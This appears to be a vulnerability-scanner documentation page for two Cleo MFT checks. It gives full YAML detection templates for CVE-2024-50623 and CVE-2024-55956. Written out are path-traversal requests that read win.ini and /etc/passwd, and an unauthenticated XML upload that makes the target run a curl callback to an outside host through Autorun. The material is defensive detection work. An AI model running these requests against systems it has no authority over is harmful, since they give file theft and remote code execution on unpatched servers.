Cleo — 2 vulnerability checks
noctis ships 2 vulnerability checks for Cleo, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Cleo Harmony / VLTrader / LexiCom unauthenticated file read
| CVE | CVE-2024-50623 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, script, match · highest QoD 75 |
| Feed | tests/vulnerabilities/cleo/CVE-2024-50623.yaml |
Sends unauthenticated VLSync Retrieve commands to /Synchronization on Cleo Harmony, VLTrader and LexiCom with a ..\ or ../ path to windows/win.ini and /etc/passwd, and reports when the reply carries that file's content while the same request for an absent file does not. When no file comes back, a Server header version older than 5.8.0.21 is reported instead. Nothing is written on the target.
How noctis detects it
- HTTP(S) request
GET /Synchronization - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET /Synchronization - HTTP(S) request
GET /Synchronization - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET /Synchronization - Parses / computes the next value with a Rhai script
- Checks
proof.filefor^(windows/win\.ini|etc/passwd)$→ finding QoD 75: Cleo … unauthenticated file read through VLSync Retrieve (CVE-2024-50623) - Checks
fp.verfor^[0-9]+\.[0-9]+→ finding QoD 70: Cleo … … affected by unrestricted file upload/download (CVE-2024-50623)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2024-50623
- https://labs.watchtowr.com/cleo-cve-2024-50623/
- https://github.com/watchtowrlabs/CVE-2024-50623
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-50623.yaml
- https://support.cleo.com/hc/en-us/articles/27140294267799-Cleo-Product-Security-Advisory
Feed source — tests/vulnerabilities/cleo/CVE-2024-50623.yaml
# Cleo Harmony / VLTrader / LexiCom unrestricted file download — CVE-2024-50623
#
# The /Synchronization endpoint of the Cleo MFT products (default ports 5080
# HTTP / 5443 HTTPS) handles VLSync host-synchronisation commands with no
# authentication. A "Retrieve" command reads the file named by its path=
# field relative to the install directory and returns the raw bytes with a
# 200; before 5.8.0.21 the path is not validated, so "..\" / "../" sequences
# read any file the service account can read (the matching "ADD" command
# writes any file, which led to RCE in the wild — KEV, Clop campaign).
# The serial field l= only passes a format check, so the public value
# Ab1234-RQ0258 is accepted; v= must carry the server's own version, which
# the Server header gives ("Cleo LexiCom/5.8.0.0 (Windows Server 2022)" —
# format from the Metasploit cleo_rce_cve_2024_55956 check).
#
# Detection (benign, read-only — nothing is written):
# 1. GET /Synchronization → product + version from the Server header
# (`Cleo <Harmony|VLTrader|LexiCom>/<a.b.c.d>`); nothing more is sent to
# a server that is not Cleo.
# 2. GET /Synchronization with VLSync: Retrieve;…;path=..\…\windows\win.ini,
# then path=../…/etc/passwd (Linux installs), and match the file CONTENT.
# Extra ".." levels stop at the root, so any install depth is covered.
# 3. Control: the same Retrieve for an absent file in a random missing
# directory ending with the file that hit — it must come back without any
# file content (blanket responders / honeypots are not reported;
# fail-closed: no control reply → no read finding).
# → QoD 75 (response analysis).
# 4. Fallback: when the read is not proven, a Server header version older
# than 5.8.0.21 is reported at QoD 70 (not when the control came back
# with file content — a blanket responder is not trusted either way).
#
# Fix for issue #2344: the previous feed matched a constant that only the noctis
# mock returned on GET /Synchrony/ (false negative on every real target).
#
# Request shape: watchTowr Labs PoC (github.com/watchtowrlabs/CVE-2024-50623)
# and the nuclei template CVE-2024-50623 (same VLSync header, win.ini words).
uid: 1efaba7b-10d5-49db-8ba8-a3f8aa944155
name: "Cleo Harmony / VLTrader / LexiCom unauthenticated file read (CVE-2024-50623)"
description: "Sends unauthenticated VLSync Retrieve commands to /Synchronization on Cleo Harmony, VLTrader and LexiCom with a ..\\ or ../ path to windows/win.ini and /etc/passwd, and reports when the reply carries that file's content while the same request for an absent file does not. When no file comes back, a Server header version older than 5.8.0.21 is reported instead. Nothing is written on the target."
cves: [CVE-2024-50623]
cvss: 9.8
severity: critical
category: file-read
confidence_base: 0.20
tags:
- file-read
- path-traversal
- unauthenticated
- kev
- cleo
- mft
services:
- http
- https
author: noctis
version: "2.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2024-50623"
- "https://labs.watchtowr.com/cleo-cve-2024-50623/"
- "https://github.com/watchtowrlabs/CVE-2024-50623"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-50623.yaml"
- "https://support.cleo.com/hc/en-us/articles/27140294267799-Cleo-Product-Security-Advisory"
steps:
- id: init-base
action: set_var
var_name: base
var_value: {status: 0, body: "", headers: {}}
- id: init-win-r
action: set_var
var_name: win_r
var_value: {status: 0, body: ""}
- id: init-lin-r
action: set_var
var_name: lin_r
var_value: {status: 0, body: ""}
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-ctrl-v
action: set_var
var_name: ctrl_v
var_value: {answered: false, hit: false}
- id: init-proof
action: set_var
var_name: proof
var_value: {file: "", detail: "", ctrl_path: "", dots: ""}
# ── 1. Fingerprint: Server header "Cleo <product>/<version>" ──────────────
- id: base
action: http_request
method: GET
path: "/Synchronization"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: base
- id: fingerprint
action: script
code: |
let server = "";
if type_of(base.headers) == "map" && type_of(base.headers["server"]) == "string" {
server = base.headers["server"];
}
let product = "";
let ver = "";
let m = eregmatch("(?i)\\bCleo[ \\t]+(Harmony|VLTrader|LexiCom)/([0-9]+(?:\\.[0-9]+){1,3})", server);
if type_of(m) == "array" && m.len() > 2 { product = m[1]; ver = m[2]; }
// Older than 5.8.0.21 (missing parts count as 0).
let old = false;
if ver != "" {
let p = split(ver, ".");
let fixed = [5, 8, 0, 21];
let decided = false;
for i in 0..4 {
if !decided {
let a = if i < p.len() { int(p[i]) } else { 0 };
if a < fixed[i] { old = true; decided = true; }
else if a > fixed[i] { decided = true; }
}
}
}
#{ cleo: product != "", product: product, ver: ver, old: old }
store_as: fp
# ── 2. VLSync Retrieve of windows/win.ini, then /etc/passwd ───────────────
- id: read-winini
action: http_request
method: GET
path: "/Synchronization"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
VLSync: 'Retrieve;l=Ab1234-RQ0258;n=VLTrader;v={{fp.ver}};a=1337;po=1337;s=True;b=False;pp=1337;path=..\..\..\..\..\..\..\..\windows\win.ini'
condition: "fp.cleo"
store_as: win_r
- id: read-passwd
action: http_request
method: GET
path: "/Synchronization"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
VLSync: "Retrieve;l=Ab1234-RQ0258;n=VLTrader;v={{fp.ver}};a=1337;po=1337;s=True;b=False;pp=1337;path=../../../../../../../../etc/passwd"
condition: "fp.cleo"
store_as: lin_r
# Verdict on the file content. The raw body never reaches the evidence: a
# passwd hit keeps only "root:<redacted>:0:<gid>:…" style fields.
- id: verdict
action: script
code: |
let file = "";
let detail = "";
let wb = if win_r.status == 200 && type_of(win_r.body) == "string" { win_r.body } else { "" };
let lb = if lin_r.status == 200 && type_of(lin_r.body) == "string" { lin_r.body } else { "" };
if ereg("(?i); for 16-bit app support", wb) && ereg("(?i)\\[fonts\\]", wb) && ereg("(?i)\\[extensions\\]", wb) {
file = "windows/win.ini";
detail = "; for 16-bit app support / [fonts] / [extensions]";
} else {
let m = eregmatch("(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):", lb);
if type_of(m) == "array" && m.len() > 2 {
file = "etc/passwd";
let name = if trim_name(m[1]) == "root" { "root" } else { "<redacted>" };
detail = name + ":<redacted>:0:" + m[2] + ":";
}
}
fn trim_name(s) { let t = s; t.trim(); t }
let sep = if file == "windows/win.ini" { "\\" } else { "/" };
let dots = if file == "windows/win.ini" { "..\\..\\..\\..\\..\\..\\..\\..\\" } else { "../../../../../../../../" };
let ctrl = if file == "" { "" } else { dots + "noctis-absent-" + oob_token + sep + str_replace(file, "/", sep) };
#{ file: file, detail: detail, ctrl_path: ctrl, dots: if sep == "\\" { "..\\" } else { "../" } }
condition: "fp.cleo"
store_as: proof
# ── 3. Control: absent file in a missing directory, same file name ────────
- id: control
action: http_request
method: GET
path: "/Synchronization"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
VLSync: "Retrieve;l=Ab1234-RQ0258;n=VLTrader;v={{fp.ver}};a=1337;po=1337;s=True;b=False;pp=1337;path={{proof.ctrl_path}}"
condition: 'fp.cleo && proof.file != ""'
store_as: ctrl_r
- id: control-verdict
action: script
code: |
let b = if type_of(ctrl_r.body) == "string" { ctrl_r.body } else { "" };
let hit = ereg("(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\])", b);
#{ answered: ctrl_r.status != 0, hit: hit }
condition: 'fp.cleo && proof.file != ""'
store_as: ctrl_v
- id: report-read
action: match
source: proof.file
pattern: "^(windows/win\\.ini|etc/passwd)$"
condition: 'fp.cleo && proof.file != "" && ctrl_v.answered && !ctrl_v.hit'
on_match:
finding:
title: "Cleo {{fp.product}} unauthenticated file read through VLSync Retrieve (CVE-2024-50623)"
description: "An unauthenticated GET /Synchronization with a VLSync Retrieve command whose path= field climbs out of the install directory with ..\\ or ../ returned the content of a system file, while the same request for an absent file did not. The same flaw reads any file the Cleo service account can read (host configurations, passphrases, keys), and its ADD counterpart writes arbitrary files, which leads to remote code execution."
remediation: "Upgrade Cleo Harmony, VLTrader or LexiCom to 5.8.0.24 or later (5.8.0.21 fixes this path traversal; 5.8.0.24 also fixes the related autorun upload CVE-2024-55956), disable the Autorun directory, keep the /Synchronization port off the internet, and look for unknown files in the autorun/, hosts/ and temp/ folders."
confidence_delta: 0.55
qod: 75
evidence: "Cleo {{fp.product}} {{fp.ver}}: VLSync Retrieve path=<{{proof.dots}} × 8>{{proof.file}} returned {{proof.file}} ({{proof.detail}}); control Retrieve for an absent file returned no file content"
stop: true
# ── 4. Fallback: version older than 5.8.0.21 — not on a server that also
# returned a file for the absent-file control (blanket responder) ─────────
- id: report-version
action: match
source: fp.ver
pattern: "^[0-9]+\\.[0-9]+"
condition: "fp.cleo && fp.old && !ctrl_v.hit"
on_match:
finding:
title: "Cleo {{fp.product}} {{fp.ver}} affected by unrestricted file upload/download (CVE-2024-50623)"
description: "The Server header reports a Cleo Harmony, VLTrader or LexiCom version older than 5.8.0.21, which lets an unauthenticated VLSync request read and write arbitrary files through /Synchronization (remote code execution, exploited in the wild). This finding rests on the reported version; the file read was not confirmed."
remediation: "Upgrade Cleo Harmony, VLTrader or LexiCom to 5.8.0.24 or later, disable the Autorun directory, and keep the /Synchronization port off the internet."
confidence_delta: 0.45
qod: 70
evidence: "Server header on GET /Synchronization: Cleo {{fp.product}}/{{fp.ver}} (fixed in 5.8.0.21)"Cleo Harmony/VLTrader/LexiCom Unauthenticated Autorun RCE
| CVE | CVE-2024-55956 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | set_var, http_request, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/cleo/CVE-2024-55956.yaml |
Tests Cleo MFT products for CVE-2024-55956 via the VSYNC /Synchronization endpoint. Sends a VLSync identity probe and optionally uploads a malicious XML Host configuration that executes a curl callback via the Autorun mechanism. Versions below 5.8.0.24 are vulnerable.
How noctis detects it
- HTTP(S) request
POST /Synchronizationwith a crafted body - Checks
sync_resp.bodyfor(?i)cleo→ finding QoD 50: Cleo MFT /Synchronization VSYNC endpoint responds — potentially vulnerable to CVE-2024-55956 Autorun RCE - HTTP(S) request
POST /Synchronizationwith a crafted body - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: OOB HTTP callback received — Cleo Autorun RCE confirmed via /Synchronization VSYNC upload (CVE-2024-55956)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2024-55956
- https://attackerkb.com/topics/geR0H8dgrE/cve-2024-55956/rapid7-analysis
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-55956.yaml
Feed source — tests/vulnerabilities/cleo/CVE-2024-55956.yaml
# Cleo Harmony/VLTrader/LexiCom Unauthenticated Autorun RCE — CVE-2024-55956
#
# The /Synchronization VSYNC endpoint processes VLSync multipart messages.
# An unauthenticated attacker posts a malicious XML Host configuration to
# hosts/main.xml whose Commands block references a shell command, then places
# a trigger file in the Autorun directory via a second VSYNC request.
# The XML's Actions block executes as the MFT service account.
#
# Detection uses two paths:
# 1. VSYNC identity probe → Cleo server confirmed (QoD 50, no exploitation)
# 2. OOB HTTP callback via crafted XML → confirmed RCE (QoD 97)
#
# OOB probe embeds {{oob_url}} in body — step guarded by oob_enabled condition
# so the body is never interpolated when OOB is disabled (strict interpolation
# would fail on non-OOB hosts; condition is checked before body is rendered).
#
# KEV (CISA, 2024-12-17) | EPSS 0.938 (99.8th percentile) | Clop ransomware
uid: 5c41b9b0-9c2c-46a4-b5e9-3a1dc435eded
name: "Cleo Harmony/VLTrader/LexiCom Unauthenticated Autorun RCE"
description: |
Tests Cleo MFT products for CVE-2024-55956 via the VSYNC /Synchronization
endpoint. Sends a VLSync identity probe and optionally uploads a malicious
XML Host configuration that executes a curl callback via the Autorun
mechanism. Versions below 5.8.0.24 are vulnerable.
cves: [CVE-2024-55956]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.20
tags: [cleo, mft, autorun, rce, vsync, kev, clop, oob]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2024-55956"
- "https://attackerkb.com/topics/geR0H8dgrE/cve-2024-55956/rapid7-analysis"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-55956.yaml"
steps:
- id: init-vars
action: set_var
var_name: cleo_detected
var_value: false
# Step 1: VLSync identity probe — ReceivedReceipt message to /Synchronization
- id: sync-probe
action: http_request
method: POST
path: /Synchronization
port: "{{port}}"
tls_insecure: true
headers:
Content-Type: "application/form-data;boundary=--------boundary"
VLSync: "Multipart;l=0,Acknowledge"
body: "VLSync: ReceivedReceipt;service=\"AS2\";msgId=12345;path=\"temp/test.tmp\";receiptfolder=Unspecified;\n--------boundary\ntest"
timeout_secs: 10
store_as: sync_resp
# Confirm Cleo MFT server — response body identifies the product
- id: cleo-identity
action: match
source: sync_resp.body
pattern: "(?i)cleo"
condition: "sync_resp.status == 200"
on_match:
finding:
confidence_delta: 0.30 # 0.20 + 0.30 = 0.50
qod: 50
evidence: "Cleo MFT /Synchronization VSYNC endpoint responds — potentially vulnerable to CVE-2024-55956 Autorun RCE"
set_vars:
cleo_detected: true
# OOB probe: upload XML Host config with curl callback in Commands block
# condition guards body interpolation — {{oob_url}} only valid when OOB active
- id: autorun-upload-oob
action: http_request
method: POST
path: /Synchronization
port: "{{port}}"
tls_insecure: true
headers:
Content-Type: "application/form-data;boundary=--------boundary"
VLSync: "Multipart;l=0,Upload;path=hosts/main.xml"
body: "<HostList><Host><Commands><Command><Name>noctis-rce-check</Name><Action>curl {{oob_url}}</Action></Command></Commands></Host></HostList>\n--------boundary\n"
condition: "cleo_detected == true && oob_enabled"
timeout_secs: 10
store_as: upload_resp
# OOB callback — Autorun executed the curl command, server called back
- id: wait-callback
action: wait_oob
oob_timeout_secs: 20
store_as: oob_result
condition: "cleo_detected == true && oob_enabled"
on_success:
finding:
confidence_delta: 0.75 # 0.20 + 0.75 = 0.95
qod: 97
evidence: "OOB HTTP callback received — Cleo Autorun RCE confirmed via /Synchronization VSYNC upload (CVE-2024-55956)"
stop: true